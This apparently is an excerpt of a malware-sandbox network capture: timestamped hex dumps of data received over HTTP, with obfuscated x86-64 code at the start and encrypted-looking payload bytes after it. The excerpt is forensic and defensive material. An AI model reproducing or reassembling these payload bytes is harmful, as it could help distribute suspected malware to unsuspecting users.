P1\DC+rfk"4Hd$6GrH$Hd$;}K
2023-05-14 02:34:42 UTC	528	IN	Data Raw: 27 2b d4 18 eb 06 40 48 a5 97 df 77 0f 83 c4 01 00 00 48 8b 44 24 08 e9 04 00 00 00 1c fe df 85 48 8d 64 24 f8 eb 02 ba 53 48 89 04 24 eb 04 17 ca 7d fe 9f 38 ff 74 06 d4 58 a5 95 91 c5 e8 05 00 00 00 cf 3a 71 70 df 48 83 c4 08 eb 05 2b 51 77 72 69 eb 04 7c ea 5b 73 9e 58 48 8b 4c 24 20 e9 03 00 00 00 5c a2 6b 50 9f eb 02 26 57 f9 eb 04 25 52 2e d1 72 06 16 21 e0 c9 45 ba e8 06 00 00 00 1e 33 8b 71 93 dd 48 83 04 24 1b f8 73 06 d7 4e d6 ee 52 e6 c3 6d 7a 36 e1 3a e3 9e 58 eb 07 53 46 74 94 5f 5c 93 e9 05 00 00 00 f8 2e 18 be c9 48 03 c8 48 8b c1 50 eb 04 56 fd ba 25 9f e9 06 00 00 00 d7 3b e6 f9 7b 29 f8 73 07 f6 89 7e e0 4d 7c 31 e8 07 00 00 00 ff bd 3b 6e 13 8f f2 48 ff c4 f8 e9 02 00 00 00 7e 92 73 03 ad 4b ba 48 ff c4 f8 e9 04 00 00 00 86 c6 9d 61 73 Data Ascii: '+@HwHD$Hd$SH$}8tX:qpH+Qwri\|[sXHL$ \kP&W%R.r!E3qH$sNRmz6:XSFt_\.HHPV%;{)s~M\|1;nH~sKHas
2023-05-14 02:34:42 UTC	544	IN	Data Raw: 88 f9 4b 0f 57 61 fb e8 d7 5e a1 cc c2 74 02 ca ca 42 3e 10 07 8b 3a 27 fd e5 ec 5b 3f 83 9e 71 4b 91 88 0d a2 a1 0b 2a 9b 26 1f 00 80 61 d2 49 c9 fc eb 07 c5 4e fd d9 b3 bd a3 cb 8e 62 1c f7 8c 08 a2 39 97 1b 23 28 83 74 25 ca b6 e1 3c 0b 21 a0 22 4d 01 ea b6 5f 02 55 9e 25 d2 62 28 09 2a d9 05 1a 96 2f 57 20 db fe 56 a4 c0 4b 79 d9 0a 1b 4d 55 c5 ef bc 3a 8c 53 92 0d cb 6e 1e 8b 0a eb 53 e6 01 18 92 af 2d 04 c7 8b 33 31 b3 a1 28 f3 98 14 5d 60 57 59 a9 8d 3f 8b d7 aa 7d cd 7c 99 c4 5c 4e 8c 93 ac d6 f9 1e 0a c0 ba 25 d1 03 97 1a 8c 85 f6 d2 63 a8 d8 97 9b 8c 5a e8 fb 32 69 ba 49 e2 b7 ac 2a 41 34 30 3e 50 e1 72 5d 76 b1 c0 7a 14 6a af ed 08 89 71 c5 8a 84 2f da 50 51 88 c7 67 fa eb 68 8d fe 5b 2e 8c 64 ef c9 7a 05 5d b0 65 5b e9 3e 1f b3 30 42 c7 09 9e Data Ascii: KWa^tB>:'[?qK&aINb9#(t%<!"M_U%b(/W VKyMU:SnS-31(]`WY?}\|\N%cZ2iI*A40>Pr]vzjq/PQgh[.dz]e[>0B
2023-05-14 02:34:42 UTC	560	IN	Data Raw: a4 71 20 e9 0f d5 cc 2f 80 07 67 d9 ac 22 2d dd eb 36 3c 53 b7 92 35 63 aa 1c 5c bb df b2 10 2c 2a 18 de 68 d6 25 7a 4c 86 6f 03 15 42 3d 75 4d 0e 31 c4 28 23 9f 3d 27 9a 55 bf 93 a6 66 9d f9 38 5b b2 61 93 1f fc 36 3f 5e 2d 3b c0 ae ac fc aa 22 81 40 82 24 db 6d c8 b6 e7 9b 9c df 9e 31 c0 4c 85 17 6e bf 4d 6e 13 be 13 ac 41 8b bd b9 ab d0 e4 26 87 76 3d 79 98 95 22 de 44 f6 b8 ef 10 e9 a1 e3 b6 11 18 d5 20 ec 27 36 93 8f 1b d6 ae 20 41 cf 44 9a 36 67 83 97 a1 f5 9d 6f 2e c5 b1 1a b1 99 42 25 b1 24 b2 3f 07 ac a5 61 97 5b 2a 43 c6 a0 07 01 34 b2 89 f5 01 dc 9c 27 19 af 68 73 4a 00 44 b5 f0 2b c1 0e 33 aa c5 21 bc f9 28 38 2a b4 a1 c8 5f 2d ac 4c b1 b7 48 7e af ea d6 4d 3e 0b 99 27 6c f4 82 60 a1 6f a0 36 e0 5e a5 a4 40 1a 7d 4a 2e 61 88 b5 a0 5a 86 62 f1 Data Ascii: q /g"-6<S5c\,h%zLoB=uM1(#='Uf8[a6?^-;"@$m1LnMnA&v=y"D '6 AD6go.B%$?a[C4'hsJD+3!(8*_-LH~M>'l`o6^@}J.aZb
2023-05-14 02:34:42 UTC	576	IN	Data Raw: 89 31 59 36 8a 2d 99 18 73 5f 3f c0 ce eb 16 b1 da 0a 31 83 84 1f 39 5d 90 7d b0 17 70 25 b0 f8 66 ef e7 2c 35 51 6a f8 46 50 43 2f f5 62 4e 54 a9 3d 37 64 3d ca de e7 a5 4e ad 85 ca f6 9e f3 69 86 b5 70 d8 51 b4 fa a2 9e 23 1e 74 cb 44 75 0a e1 ca 9f 06 67 31 13 b0 45 51 1b 82 56 81 eb 54 61 46 d7 f7 a2 ef 35 4d 2a 1f fe 21 30 af de 9c 48 ba f0 75 7b 5f e6 82 6d c8 2d 8b 37 57 a5 0f 5a bb 0f 5d cb 8c 08 c1 df f5 0f a0 84 1e dd c0 a3 2a 1e 85 fa a4 1d d0 55 c3 64 1b ed 21 a7 df 69 fa cf 1f 60 6b 5f b5 67 f6 af 81 f7 2a 0b cb 57 bd 21 e4 5e 69 e5 75 a4 44 1c 56 47 df 62 0b 4a e6 cd 79 25 4e 2a 4b 65 1a 20 34 c8 fc 3c ea a7 86 03 05 2f 07 17 69 15 d5 5a 9b 68 e8 dd d8 b8 e6 8a 94 34 72 90 ad 0e 46 6c c5 94 d1 d0 5e 17 55 b1 47 dd 3c 72 88 2c 5e 3b 26 e4 9f Data Ascii: 1Y6-s_?19]}p%f,5QjFPC/bNT=7d=NipQ#tDug1EQVTaF5M!0Hu{_m-7WZ]Ud!i`k_gW!^iuDVGbJy%NKe 4</iZh4rFl^UG<r,^;&
2023-05-14 02:34:42 UTC	592	IN	Data Raw: 63 5e ea f9 fa 34 90 d8 f1 5b 7d 23 f0 50 0e c5 e3 28 ac 1c dd 58 8f a5 c8 94 a8 d8 91 be 82 53 28 75 88 7b f4 0d f8 fc a6 e4 2b cd 30 7c d1 5e b2 22 66 26 6c 04 85 6b 5b 20 88 9f d1 16 9e 1f 6c 6c 43 b7 77 22 5a 49 1f dc 55 02 8b 72 1d fc a0 21 80 d0 d2 3e 0e 9b 89 67 22 dd d1 f7 22 53 1e e6 e7 b4 77 1b 26 3d 3d c3 83 60 79 b0 5a 15 bf c0 11 0d cc b2 87 5b 40 90 47 b3 95 9b 62 d4 61 1d 22 09 99 03 e7 09 4b ee 29 88 c4 a3 54 6f da 80 6e 84 3a 16 37 8f 3a 2c 00 56 d5 e4 72 79 9a ea 1f 6d 12 e4 ed 2a 41 27 63 4f 4e c0 3f e9 75 a8 9e 65 6f 4a e6 46 8c 53 2c 56 56 6e dc ad 3a 5f df 75 39 38 e8 1a 47 ce 69 1e d8 72 fc de 8e f3 56 75 98 db 9b 13 c2 c9 17 a3 44 7f a6 e7 f8 4e d0 ac 42 7f 8c a1 cf 58 6c 1e cd 77 14 af ab 54 6c d1 4f 56 4c 03 30 04 25 a2 81 8e 4e Data Ascii: c^4[}#P(XS(u{+0\|^"f&lk[ llCw"ZIUr!>g""Sw&==`yZ[@Gba"K)Ton:7:,Vrym*A'cON?ueoJFS,VVn:_u98GirVuDNBXlwTlOVL0%N
2023-05-14 02:34:42 UTC	608	IN	Data Raw: 13 41 e7 84 9e 40 ef f8 b6 91 f8 91 ff b8 32 d1 bb 3e 3b 09 09 7e 3c e6 60 8d aa 6f cc 26 dc e5 48 1b 04 32 e8 21 7e 4b 83 3b 7a b3 c6 90 fd cf ae c8 95 ac f6 ad 60 06 0d 3e f4 a6 85 67 0c 88 59 47 be 45 e1 21 a9 b6 23 56 af 5b c7 20 39 d8 8b 30 f7 92 a0 bd 19 fb 50 64 3c 15 ce 06 b4 a4 25 41 1c 23 17 e7 8c 00 6b 08 2b de af f8 b0 9d d1 c0 43 3b d5 3d de 9f 0c 44 b7 d6 dd 52 19 a3 18 05 11 1d 9d 41 6d c6 8d 1a 20 27 62 f6 0f 5d ce 67 91 04 76 7c 7d a8 0c 71 8f 4b 85 37 dc c1 02 5b d5 83 96 51 59 29 2d 17 13 2a 66 77 b9 d0 08 7c 08 ae 93 78 05 77 03 47 70 bb 34 2e a0 01 05 18 d8 98 1a 21 4d f3 e3 20 17 c4 a0 f5 e0 cc 80 e7 ed 04 19 6e 95 75 d5 81 37 90 a8 29 ed a5 e1 0c 64 0e cc 3d 59 62 0b 57 ab ee e2 9c a7 4b 8f da 87 73 55 68 2f e4 7a 74 19 98 06 2e 3f Data Ascii: A@2>;~<`o&H2!~K;z`>gYGE!#V[ 90Pd<%A#k+C;=DRAm 'b]gv\|}qK7[QY)-*fw\|xwGp4.!M nu7)d=YbWKsUh/zt.?
2023-05-14 02:34:42 UTC	624	IN	Data Raw: 04 19 56 cd c4 22 ae 38 9c 5f 5a 3e 89 b4 77 b9 2a 55 8a 68 8d f3 cc f7 f6 55 40 cb 47 71 90 b8 48 59 a9 15 e2 a4 99 e2 4c f2 e7 14 b8 cc 70 09 23 28 2f 33 6d e6 de 6e a4 07 ae ce 46 d0 ba 6e bc 5a 87 bf bd 0c 5c eb f3 4b 33 0f 84 d7 6c dd 90 3b 9f 01 b5 57 c9 ae 28 e5 bf 59 7a 65 92 c3 48 7a bc 4c 16 21 d4 24 67 9e 1d c3 b0 e3 fa cc 3a 0c 25 0d 04 99 b5 4b 48 62 30 cb e8 bf 2e a2 1a d5 af af dd b5 ad d6 47 62 07 3a fa 56 b7 82 ab 25 a5 e8 1b 5f eb 37 90 ee aa f2 7f 71 f8 60 b2 58 4d ff c3 31 e4 0e 63 6a 09 d1 61 e5 14 d5 14 e5 05 65 7d 86 3a 8d 97 6d 71 d8 c1 03 1f e2 10 bd a9 4f 0a 22 61 70 f7 d0 9a 4e dd b4 76 df ac d9 d6 e0 45 8a 56 ce 8a 07 51 f1 9d e1 d4 d7 18 e3 46 83 91 25 0d 29 52 3f 1c be fd d8 a8 c5 f3 23 a7 9b 9b 99 20 b7 a0 dd 85 8f 7b a7 e7 Data Ascii: V"8_Z>w*UhU@GqHYLp#(/3mnFnZ\K3l;W(YzeHzL!$g:%KHb0.Gb:V%_7q`XM1cjae}:mqO"apNvEVQF%)R?# {
2023-05-14 02:34:42 UTC	640	IN	Data Raw: bd f0 af 3b d7 19 78 b1 eb fd 75 cc e1 76 ec d8 b6 b0 e6 20 3f c1 19 bf 96 4d 8a f3 ed 35 8d 09 fe 17 03 d6 8b 69 ce 79 42 49 6c 3c 98 e8 c9 70 e5 a2 be 19 51 59 e7 f4 88 03 3d 25 85 24 15 2e ba 8a 04 86 b3 1f b9 e9 0d fd 74 0a 34 f0 5f cb 8e 90 4b b1 e0 5e d7 d7 35 1a 13 7b c1 de 95 18 f6 5c ff 69 88 d1 47 af 13 0c d6 a1 98 31 1b 85 fe 20 07 ec 66 1e 0d 49 41 cd 1c 33 16 a6 5f 81 19 74 b4 8d fe cb 6c eb d7 8e 35 8a 32 15 58 c4 b4 76 80 24 81 5b 1d 5f 8d 10 e2 d9 de 4f f1 8f e1 f6 a1 5d f3 28 3f d3 43 02 a9 29 00 fc 08 d4 42 24 85 30 0d 5e 7f d9 fb 97 b0 2f 81 64 fc c4 38 59 93 8c 97 3d e6 2c 03 18 07 2e 62 f2 2d 5d bf 28 85 80 45 5a 87 63 8a d5 99 cb 86 5a 1d e5 30 40 b6 2d 37 36 ec 36 01 5e 37 6e 00 73 2d d2 a2 1c 41 10 a5 9a 3c 64 87 a8 b0 0f 86 86 3c Data Ascii: ;xuv ?M5iyBIl<pQY=%$.t4_K^5{\iG1 fIA3_tl52Xv$[_O](?C)B$0^/d8Y=,.b-](EZcZ0@-766^7ns-A<d<
2023-05-14 02:34:42 UTC	656	IN	Data Raw: 08 2c 9a 0f 22 b7 e2 6a 4d 5a 52 04 20 ee f3 5f c1 20 8d 64 62 32 c5 55 b4 d1 f1 fb 84 c8 15 94 08 79 ae 23 15 64 55 f8 20 34 6d 6e 92 a2 2e 99 20 32 45 71 83 ee 5f 8c a8 71 70 2b 06 f4 2c a0 ca 42 af 09 b6 3d c8 e8 96 5c a1 0f c9 76 22 1f 29 7b 01 94 b5 5d 02 07 95 d6 3b db 0e 6e 7d ff 18 3c 42 39 11 05 27 bc 00 5e 7e be 85 b0 04 d1 68 77 25 5e 8d 1f f5 ff bc ff b0 ef 98 e7 9b 53 80 79 66 8d 73 7a 5c 08 79 d6 03 d6 97 97 2b 4f eb d9 89 c4 54 ed f1 a2 a8 e9 b4 31 3e 26 b6 c2 48 11 9e 0c 9a 67 8a 30 53 b4 95 52 c5 1a 84 0e c7 d5 e5 c0 87 8c 36 61 e8 15 eb b5 86 26 66 1b 39 00 a6 81 de 07 ed eb 5a 4c 2e 9c e8 e8 be bd 4a 7e a1 49 05 56 96 13 08 95 65 dd 82 e6 f8 64 78 81 24 0c 95 15 1f e8 ce ee 5e 21 0c f1 bf 2a 8a 62 c5 94 07 5a cf 10 a0 05 50 98 04 65 66 Data Ascii: ,"jMZR _ db2Uy#dU 4mn. 2Eq_qp+,B=\v"){];n}<B9'^~hw%^Syfsz\y+OT1>&Hg0SR6a&f9ZL.J~IVedx$^!*bZPef
2023-05-14 02:34:42 UTC	672	IN	Data Raw: 0c d9 48 3f 57 a2 4e 69 44 9e 27 ee c1 b0 b4 d0 a9 06 f6 18 73 eb 17 e7 89 8d 77 1f bd 68 dc ef 99 78 eb 6d 90 a2 89 13 6a 56 e8 fe 95 f1 05 c3 28 41 6d 11 24 4e 3f 5e a1 95 f0 d0 84 ea dd 29 28 59 fb 45 98 27 3c 79 df 7e 07 c7 c4 f1 08 fa af d8 50 a0 87 da fd 7d 8c 09 16 fb 26 a6 b2 63 28 55 bc 1c 97 c8 4f 38 42 53 a0 26 80 c9 00 1d f4 03 87 92 45 56 24 87 f1 b1 8a f0 c7 79 c4 81 05 84 f1 4d 95 ee eb a4 15 bd d6 2a c1 20 d2 e8 26 00 05 f5 d9 5a 05 4a 80 95 c8 9a 06 a5 95 e7 34 2b b6 ed 83 a7 6c 6e 00 bf 22 2a e3 b0 5e c5 ab 64 06 47 7c dc f1 79 4b b7 b2 a3 bb 52 be d5 5c 16 86 0f 23 a4 b0 0a 03 3f 37 2f 43 d8 6f c4 86 67 45 c8 3c 58 57 21 87 65 6a 55 06 1c bf e0 2a 39 9e 03 57 6c f4 2a 62 2e 0a aa c0 69 eb 0d b8 61 5e 9c e8 54 a2 b5 18 58 d1 d0 02 42 3a Data Ascii: H?WNiD'swhxmjV(Am$N?^)(YE'<y~P}&c(UO8BS&EV$yM* &ZJ4+ln"^dG\|yKR\#?7/CogE<XW!ejU9Wl*b.ia^TXB:
2023-05-14 02:34:42 UTC	688	IN	Data Raw: cf dd 15 4c 93 79 d6 43 5f 8c d1 2d c7 fa 3c bd 9c 61 d9 69 ad d9 38 6f 3a 1d b0 2b 1b cf 74 61 7f 78 76 2c ce a3 88 d0 66 3b 6f 88 0a a5 b7 e2 bc 89 0a 41 57 d0 97 51 89 3c 8f da e8 f2 10 73 88 30 8e 8b 8f 24 f9 82 92 5e 2e b6 0e 45 fc b9 3b e3 2d 6a e8 46 4a 8a bc b1 32 55 98 fb fa a1 30 84 a6 5f 46 43 af 29 d4 2d 27 ea 43 b2 c1 3c aa 38 21 97 05 d8 38 e2 4e 5e 7b db 93 b2 85 82 e0 79 ca 08 de 45 e0 94 63 65 4b 0f cf 65 4c 0d 5b f0 93 8c 34 33 fb 44 c9 07 f5 55 06 a1 e9 f4 6c 49 29 0a 97 3b fc 5a 5e 76 05 4a 4e 00 5a a4 eb 91 e6 1e 89 63 35 22 a6 fe f4 db 58 5c 1b 05 fd 79 ff 39 aa a5 6b e8 d2 1e 33 44 87 17 49 bc ba db 84 93 4d dd 1b 76 02 92 06 5d 40 54 68 d6 48 11 fe 8b 11 05 70 4d 2b 76 d3 0f 99 70 80 9e 2b c4 9d d0 ad 52 59 43 c3 27 78 2b 5e 67 15 Data Ascii: LyC_-<ai8o:+taxv,f;oAWQ<s0$^.E;-jFJ2U0_FC)-'C<8!8N^{yEceKeL[43DUlI);Z^vJNZc5"X\y9k3DIMv]@ThHpM+vp+RYC'x+^g
2023-05-14 02:34:42 UTC	704	IN	Data Raw: 29 22 d6 e6 9f a6 ce a3 e3 1d f4 5d 44 70 b5 ff 23 ae 9d 38 87 b2 33 25 e8 86 a2 df c7 12 b8 a4 19 1d e1 1b 95 05 6c 3b 53 44 63 6b a3 5b 26 d9 da 12 af 24 4c 4c d2 70 80 e2 f0 ff e7 ed b4 f9 0e a7 c7 9c 21 45 07 18 81 8b 45 a6 08 52 40 9c c9 21 ed 04 21 5a ae 7a 53 73 a4 fb 34 6e 45 5f 19 18 b8 19 9e 2b e5 a8 1a f6 b9 2e 09 71 24 f9 c6 84 ca eb 64 f3 1f b5 8c 55 b2 33 26 6c b0 b7 06 83 ef 9d d1 75 ee 38 1a 7a 0b 3f c3 b3 69 ab fe b3 c6 2a 63 13 5e 6c 48 a5 2d 28 91 8e dc b5 0b fa aa 01 4b 20 af b8 5e 9a c1 42 44 eb 8c 95 09 04 84 71 17 dc 24 07 40 b7 b6 55 ed 65 0c b6 86 70 2e 0b 87 04 e3 2d a3 4d 87 37 e6 7b e4 df 32 2b ab 10 a7 79 35 ff 0a 83 30 cb aa 61 5f b4 14 f9 e6 07 70 26 aa 2a 66 48 0e 2a 8c 64 e2 bc 6a 20 61 ac 02 40 34 40 ac 83 b2 c9 9b 07 95 Data Ascii: )"]Dp#83%l;SDck[&$LLp!EER@!!ZzSs4nE_+.q$dU3&lu8z?ic^lH-(K ^BDq$@Uep.-M7{2+y50a_p&fH*dj a@4@
2023-05-14 02:34:42 UTC	720	IN	Data Raw: aa 0a c7 79 5b 70 79 ff d1 6a 27 d1 60 e2 08 ff 3a 99 43 d2 3e 5b 41 8c 81 b5 90 ca 07 ae df f2 3e 53 d6 54 c6 a5 6d a8 41 c8 5a 06 20 fc bd b1 42 b0 a1 96 b7 3c 2e f6 e4 65 11 ae 4e 60 ad f1 08 a5 07 0d f7 b9 b3 09 8a 61 c3 5f c4 f0 05 2a 45 7f bf 72 00 d5 79 3f 8c 92 b5 49 93 16 dc c5 01 bf c9 4d 07 30 1a d6 7a 05 20 f3 f5 b0 fe dd b9 29 81 77 05 07 9a ea e0 91 b6 fa 96 63 e3 a0 31 72 67 d7 8e 15 b4 a8 dd 5e 28 3e 11 77 1b fd 6f 05 5d c0 05 52 56 a3 c9 b3 98 fe 71 d6 bd 68 0a 2b 86 bb d6 9a af 2b 53 16 ea 68 5d f5 a1 5b ae 28 f7 9c 05 ba 87 7e 81 8b 14 50 ee b7 2c c5 8b d9 af 91 88 a7 ae 08 67 dd a5 cf 83 d7 2d 17 ea d0 b0 e0 42 5d 17 61 48 1b f3 2f a5 59 e4 e1 11 bd 26 79 49 2d 2a 26 73 a2 df 2f fa ba ed df ea 66 55 e9 c4 48 38 eb 45 4d 86 33 f1 3a a3 Data Ascii: y[pyj'`:C>[A>STmAZ B<.eN`a_Ery?IM0z )wc1rg^(>wo]RVqh++Sh][(~P,g-B]aH/Y&yI-&s/fUH8EM3:
2023-05-14 02:34:42 UTC	736	IN	Data Raw: 0b 49 de 3d 9c 7b 8e 61 43 fd 31 9e 80 94 bd ae e3 27 07 02 82 e9 33 3a 9e 4b 81 58 5a 54 b4 2c 0d e3 9b de d0 b1 ac 43 fc 7b 8e f6 cd ac ba 93 b3 35 89 aa 27 90 dc 5c 15 a8 93 ac e2 ef 0d 4c ca 28 99 a2 f5 51 e6 2f 60 08 a3 83 d6 a8 af 9d 43 26 79 93 72 79 a7 5f 8c d4 d1 8f e7 94 5c b2 be 1c 6e 8f 32 3e 3c 4c 43 28 37 2f c6 f5 2f ef 8a 7a 16 56 46 58 33 b5 8f 11 be df a7 eb 94 23 57 55 6f da 27 20 3c aa 63 c4 e7 ba 7c 7d 69 0f 2b 06 bd a8 fc d6 0f 8e c9 f3 8a 4b 9c 26 16 b0 88 5c c6 f5 09 72 ac 35 92 66 61 dc 61 6b b8 e1 00 b1 a3 12 84 31 16 f3 64 94 11 75 57 18 38 e2 c5 90 df a9 93 dc ed 4a 83 40 3b e7 ec 93 a7 d3 0b 26 8c 70 81 eb 05 69 6f ec 6a 0b da 62 d8 ec 05 b9 ab bf 10 44 5d 0c 01 1a 3d 37 4e 4c cc 1c 80 58 42 91 10 98 27 0b 2a f5 b0 56 ba a1 99 Data Ascii: I={aC1'3:KXZT,C{5'\L(Q/`C&yry_\n2><LC(7//zVFX3#WUo' <c\|}i+K&\r5faak1duW8J@;&piojbD]=7NLXB'*V
2023-05-14 02:34:42 UTC	752	IN	Data Raw: 0c 79 b4 0d a7 ac ec 24 45 7e 0b 3e c0 bf 54 c8 aa 10 c9 e9 15 5a 14 15 9d 95 f0 c0 46 e2 85 53 02 59 be 79 3c 25 6c 7e f4 59 24 f6 51 0b 64 9d 8d 20 14 10 f5 53 73 a7 d5 b5 b0 d1 72 4c 9c 85 2b 49 a6 3c 16 25 d4 22 47 9e 7f 0e c0 0e 2e dc 1a 39 8d 90 dd 1a 3f 47 8f 97 d0 5d e9 a6 9c 64 08 31 56 a6 97 a5 25 a8 43 3e 22 2a 80 cc 0c dd 13 21 84 68 0b 5e bf 40 e8 90 b0 e3 81 64 5c ca 18 59 86 0c 94 d5 e3 20 43 db 47 2b c1 6c 04 dd aa 18 95 10 a8 db 3f e7 86 91 f0 c1 67 25 9c 01 0d 5b e6 39 87 25 27 a9 43 86 29 2a 80 70 cd 9a aa 64 a1 12 25 7e 7e 67 b9 14 b0 d3 0a 62 dc 81 2a 59 e4 1e 96 25 f3 20 c3 1f e3 af c9 d4 2e bd 91 30 85 fb 84 5a e7 68 8c d5 3c 39 46 60 84 fa 94 99 71 bc 95 25 f0 2f 69 56 2f 6e e3 14 2c df 8e 0b 85 b0 5b a8 7e 67 0b 95 28 7e fa 36 9c Data Ascii: y$E~>TZFSYy<%l~Y$Qd SsrL+I<%"G.9?G]d1V%C>"!h^@d\Y CG+l?g%[9%'C)pd%~~gb*Y% .0Zh<9F`q%/iV/n,[~g(~6
2023-05-14 02:34:42 UTC	768	IN	Data Raw: 23 fb 25 08 05 41 3d 3d 53 12 3d 1f 54 ca 0c 94 9a d0 05 5b 2d 5b ae 03 c8 21 94 d8 14 c7 5f 92 4a f9 5e 00 1c b5 dc 20 d1 b6 2e 6d 11 f8 a2 c8 eb 37 95 ae 05 2e 33 ff 75 6e 87 73 89 d4 ef ea 02 f4 33 74 35 2f 44 08 c8 d6 0a 44 42 95 a9 6f 8e a9 2b 70 00 73 3e 4c 3c 99 f1 c9 9b 67 87 fd cb da e4 92 f2 3f 68 f5 a3 9f 8a 09 aa 13 3d d9 74 e0 c9 b1 61 2f 33 25 69 05 df c6 c8 be f6 47 0d 80 07 a1 b9 95 dd e8 b9 7b 4e 2a 85 ef 0e d8 41 2c 87 12 75 75 ae 25 30 95 3c d2 6f e1 98 b2 68 49 a4 81 9e dc ab 04 8b b0 a7 42 42 cc 0c ef b6 66 93 23 40 50 1a c4 db e4 f6 d9 42 a7 cb cd 51 1d 86 34 2f 21 b4 fe c0 7a f6 2e 5c f7 51 22 28 8c 81 13 17 bc 92 c7 d9 b7 36 c5 77 69 a5 a9 1c 2b b0 8f 91 1c e7 e8 df a4 e7 25 c6 f6 25 c0 aa b1 c0 45 a5 58 29 f5 60 9d a5 f9 ad c2 5b Data Ascii: #%A==S=T[-[!_J^ .m7.3uns3t5/DDBo+ps>L<g?h=ta/3%iG{N*A,uu%0<ohIBBf#@PBQ4/!z.\Q"(6wi+%%EX)`[
2023-05-14 02:34:43 UTC	784	IN	Data Raw: 4f 90 86 3d b3 ef 6e d4 48 41 09 2e 41 b1 cc e3 30 0e f0 00 c4 5a 0c 26 96 2d b1 93 a0 0c fe 65 58 5a 86 2c a7 0d 30 6f 63 f6 46 8f 8a 42 2c f4 42 2e 8a 01 01 12 8d 6f 81 d7 38 88 27 ff 5d a6 39 b5 32 ed 9b 21 aa e3 51 70 47 42 9d fb ae da a2 28 e5 10 d3 7c 3c f7 94 ae b0 6b 54 b6 2e e7 88 79 fa 5d e7 ff 5e 28 4b a8 da e5 75 a0 84 cd 8e 2a 80 3d 5e ee 3b 06 1c 45 47 96 85 7c 24 df 08 7d da 9e 9b 25 44 20 45 1f 6c 0e c0 6a 3e dc ba 39 8d 90 d4 1a 3f b3 8e 97 60 7a 54 e4 d6 c3 4b 3e 76 e5 dd a5 a9 ef 51 13 46 b6 d3 31 0c a1 a3 ce 35 94 b7 3a a9 bd a0 5b 30 98 df 66 36 d7 1d be 96 4d 93 f6 ef 89 cd 9d 6e 45 05 f1 8c 8a ed 1e 85 27 36 9b bc 1f 99 79 31 bf d4 66 0c d8 b8 35 b2 8d f2 86 ec e9 40 5a 1f 8b ee c4 2d a2 2b 20 cd 1c 01 9a 5b 47 88 8e b2 3b 8c 62 1c Data Ascii: O=nHA.A0Z&-eXZ,0ocFB,B.o8']92!QpGB(\|<kT.y]^(Ku*=^;EG\|$}%D Elj>9?`zTK>vQF15:[0f6MnE'6y1f5@Z-+ [G;b
2023-05-14 02:34:43 UTC	800	IN	Data Raw: 8a 5d 10 3d 09 0e fd 2a dd 27 65 0b 20 fd 10 fc 22 b7 aa 4e ee 08 13 a7 a5 9c 34 9e 5c a7 d2 a7 3a 11 be 09 e3 8d ae c1 b8 41 64 48 3c 68 d0 65 9b 9f 06 94 cc 58 5f 2b 75 56 d1 cd b2 26 8c 95 27 cb 8a 0d a9 19 a2 f8 93 43 e7 93 80 42 6c 25 f2 97 88 5b 03 b2 3d 75 22 41 28 c3 86 a0 a7 64 57 cb 02 75 68 0f 64 0a c4 5e 87 9e c8 c3 f6 da 8a 2b dd 56 77 22 79 37 88 97 a8 f5 9c 96 04 f5 48 95 36 9b 9c a5 a8 88 52 74 ff 06 47 e0 74 d3 f1 6c 60 5d 2d 5e 63 65 ad f2 f4 c5 96 0f da e1 b9 69 2f 5d 97 85 ff 1a 79 5c 03 c6 50 f1 8c 66 dc 61 5a 6f 00 52 21 bf 9a 9d fc d5 15 23 56 ed 09 fa 05 8c df 06 cc fa c1 5e e5 39 00 7e 26 c3 f6 c8 1d 94 61 76 77 e7 ac 6a 32 ca 84 30 5b f9 db 81 8e 27 e3 66 4b 28 43 64 5d 8c 01 f9 34 e9 ae 25 7b 19 0c 5b a8 fb 8c 85 e4 dc 82 00 3d Data Ascii: ]=*'e "N4\:AdH<heX_+uV&'CBl%[=u"A(dWuhd^+Vw"y7H6RtGtl`]-^cei/]y\PfaZoR!#V^9~&avwj20['fK(Cd]4%{[=
2023-05-14 02:34:43 UTC	816	IN	Data Raw: 68 19 92 db 54 8d 4c 2d d4 37 63 8f b9 4c a8 1d 12 e6 07 41 5d 18 3c 45 01 fd 19 fb bf 6f 9c c6 9d 68 bc 0f 93 3d 4f e9 39 7e 07 bc c8 7c e7 94 b3 a1 e5 f0 35 56 37 d1 06 5d b3 86 60 70 50 3c 01 50 b5 1e ee 21 98 4d b8 5c 21 0e 1c d8 ff 09 73 33 93 b0 8b 53 e3 66 94 57 a0 8b 8d d1 30 ed c5 95 28 2f f7 03 bd 45 02 46 a1 66 cf 83 2c 84 7a 30 f7 49 93 56 6b bb 49 c0 b7 71 e5 18 54 63 6c 08 22 2d 1c 44 07 38 49 23 3f 3d 3c 50 9b 0d 6a f7 ad 38 e1 77 49 5f 88 5f c7 38 c7 47 4c c6 6f c7 3d fc 37 75 0f 88 4e df cf 3e ec 12 2c f9 99 19 f5 c4 4c 2a 30 6f c9 24 89 0f a6 7b 07 e6 61 81 ba e8 69 3c f7 cc cc 12 38 1e 88 e6 81 d8 c9 4e 88 94 3c 0c be 4a 38 9d d4 ba 8e 72 f9 86 90 01 92 09 95 b7 f0 6b 53 92 ee 27 d9 70 39 5c 0e 21 a9 05 08 3a 16 ab 88 de 90 17 7f 6e b1 Data Ascii: hTL-7cLA]<Eoh=O9~\|5V7]`pP<P!M\!s3SfW0(/EFf,z0IVkIqTcl"-D8I#?=<Pj8wI__8GLo=7uN>,L*0o${ai<8N<J8rkS'p9\!:n
2023-05-14 02:34:43 UTC	832	IN	Data Raw: 58 d9 99 c8 8e 20 14 1b c5 b1 de a1 50 fc fe dc 0a e8 27 60 48 4c fe 04 92 06 ea a5 96 d3 df 4b da 1a b6 59 19 cd 4c 28 77 07 2b 6b c3 74 6c 27 4b 2a 05 e0 65 8a 50 f6 88 09 32 7e 15 36 d8 bf 90 59 fe 04 8b 01 e9 26 d2 9b 94 0c 34 f2 30 5e 8a d0 80 28 63 82 5c 6d 99 95 3c fb 07 a2 db 58 48 be e6 9d d6 5d e4 08 e3 2d a6 e6 62 9c 6d df 27 af 8c f0 04 fb fd 05 94 71 35 02 40 a9 72 3d 0d 98 8d 0c 56 35 fc a8 1d 5c c2 69 78 e7 c8 ca aa a4 a5 12 f5 58 8f 52 04 1a 86 a5 90 3f c4 41 24 01 9c 81 c7 e4 d8 22 71 41 2d 8a c7 76 80 9e a0 f0 ad d8 7f 3b 3f 9b c3 98 d0 bb 97 e4 9b 52 8e 5c ed ca 57 e9 51 40 25 dc a6 05 a0 d6 e4 55 cd 46 93 30 02 50 ff ab 28 f1 a3 17 82 3f dc f9 20 4d 7b 9f 82 39 62 84 63 c3 4a e4 c3 73 01 04 ff 71 a1 11 7b 50 21 53 4a 8e a5 97 36 63 5e Data Ascii: X 